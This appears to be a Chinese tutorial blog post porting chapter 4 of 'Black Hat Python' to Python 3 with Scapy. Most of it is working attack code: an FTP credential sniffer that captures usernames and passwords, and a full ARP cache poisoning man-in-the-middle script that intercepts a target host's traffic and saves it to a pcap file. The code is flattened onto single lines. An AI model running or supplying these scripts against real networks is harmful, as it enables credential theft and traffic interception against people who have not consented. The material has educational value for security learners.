1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 《Python黑帽子》python3代码实现(第四章)

《Python黑帽子》python3代码实现(第四章)

时间:2023-04-26 09:05:30

相关推荐

《Python黑帽子》python3代码实现(第四章)

第四章 Scapy: 网络的掌控者

窃取Email认证

在我们敲写这一段程序之前我们需要知道scapy是不支持Windows操作系统的,所以此章节所有的脚本都必须在Linux系统上面运行,接下来我们简单了解下嗅探器sniff()方法:

from scapy.all import *sniff(filter="", iface="any", prn=function, count=N)

filter参数允许我们筛选嗅探的数据包,留空则是嗅探所有数据包,具体过滤规则与wireshark相同。

iface参数设置嗅探器索要嗅探的网卡,留空则是对所有的网卡进行嗅探。

prn参数指定嗅探到符合过滤器条件的数据包时所调用的回调函数,这个回调函数以接受到的数据包对象作为唯一参数。

count参数指定你需要嗅探的数据包的个数。

了解了sniff()函数后我们简单的使用一下他:

from scapy.all import *# 数据包回调函数def packet_callback(packet):print packet.show()# 开启嗅探器sniff(prn=packet_callback, count=1)

这里我们先定义了一个回调函数用于接受数据包,然后将接受到的数据包信息打印出来:

现在我们了解了sniff()函数的使用方法后,我们可以回到主题,敲写窃取Email认证的代码,由于

现在的邮箱都是通过SSL加密的,所以无法重现书本上的效果,这里我用窃取ftp账号密码的方式进行测试:

# 脚本只能在linux系统运行from scapy.all import *# 数据包回调函数def packet_callback(packet):# 判断数据包在TCP层是否有负载(数据)if packet[TCP].payload:ftp_pack = str(packet[TCP].payload)# 检查数据中是否含有user,pass字符串if "user" in ftp_pack.lower() or "pass" in ftp_pack.lower():print("[*] Server: %s" % packet[IP].dst)print("[*] %s" % packet[TCP].payload)# sniff函数 嗅探数据包# filter 过滤器, iface 选择网卡, prn 回调函数, count数据包个数, store=0不在内存中保存原始数据包sniff(filter="tcp port 21", prn=packet_callback, store=0)

在回调函数中,我们首先判断数据包的tcp层是否有数据,然后检查数据中是否包含user,pass等重要字符串,然后将服务器ip与过滤好的数据打印出来,效果如下:

利用Scapy进行ARP缓存投毒

在敲代码之前,我们首先要理解ARP协议的原理,老方法贴链接/jiejiemcu/article/details/88406088

还要理解ARP攻击的原理:

/vaeloverforever/article/details/84504876

下面这串代码的功能是双向欺骗网关与某台主机,形成一个中间人的形式,网关与主机中传输的所有数据都会经过自己。

from scapy.all import *import osimport sysimport threadingimport signalinterface = "eth0"# 网卡target_ip = "192.168.200.46" # 被欺骗主机的IPgateway_ip = "192.168.200.1" # 网关packet_count = 1000 # 发送数据包次数poisoning = True# 是否进行投毒# 定义重置网络函数,当ARP投毒结束后,还原网络状态def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):# 以下代码中调用send函数的方式稍有不同print("[*] Restoring target...")# 首先使用ARP()构造arp数据包,op=2 表示这是ARP应答包,psrc,pdst表源IP与目的IP,hwdst,hwsrc表源目mac,最后使用send方法发送构造好的ARP应答包count=5表发送5次send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)# 发送退出信号到主进程os.kill(os.getpid(), signal.SIGINT)# 定义获取MAC函数,用于获取被欺骗主机与网关的MAC地址def get_mac(ip_address):response, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)# 返回从响应数据中获取的MAC地址for s, r in response:return r[Ether].srcreturn None# 定义投毒函数,对网关与主机进行欺骗def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):global poisoningpoison_target = ARP()poison_target.op = 2poison_target.psrc = gateway_ippoison_target.pdst = target_ippoison_target.hwdst = target_macpoison_gateway = ARP()poison_gateway.op = 2poison_gateway.psrc = target_ippoison_gateway.pdst = gateway_ippoison_gateway.hwdst = gateway_macprint("[*] Beginning the ARP poison. [CTRL-C to stop]")while poisoning:send(poison_target)send(poison_gateway)time.sleep(2)print("[*] ARP poison attack finished.")return# 设置嗅探的网卡# conf是在scapy库中声明的一个Conf类,在config.py中conf.iface = interface# verb:详细级别,从0到3,越高越详细# 关闭输出conf.verb = 0print("[*] Setting up %s" % interface)gateway_mac = get_mac(gateway_ip)# 判断是否获得网关MACif gateway_mac is None:print("[!!!] Failed to get gateway MAC. Exiting.")sys.exit(0)else:print("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))target_mac = get_mac(target_ip)# 判断是否获得被欺骗主机MACif target_mac is None:print("[!!!] Failed to get target MAC. Exiting.")sys.exit(0)else:print("[*] Target %s is at %s" % (target_ip, target_mac))# 启动ARP投毒线程poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))poison_thread.start()# 开启嗅探器,捕捉相关数据包,将结果保存到PCAP文件中,该文件可以用wires hark工具更直观的观看数据包信息try:print("[*] Starting sniffer for %d packets" % packet_count)bpf_filter = "ip host %s" % target_ip # BPF过滤规则packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)except KeyboardInterrupt:passfinally:# 写出捕获的数据包print("[*] Writing packets to arper.pcap")wrpcap("arper.pcap", packets)# 停止投毒poisoning = False# 等待正在投毒的线程退出poison_thread.join()# 恢复网络restore_target(gateway_ip, gateway_mac, target_ip, target_mac)sys.exit(0)

示例中首先定义网卡,主机,网关等信息,根据所设置的IP信息利用定义的函数get_mac()获得相应的MAC地址,获得到相应的MAC地址后,启动投毒线程,投毒函数poison_target()对网关及主机进行欺骗。在主线程中,我们开启嗅探器,捕捉关于主机的数据包,并将结果保存到PCAP文件中。退出程序后,restore_target()函数会将网络状态重置。

下面就是程序执行后的结果:

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。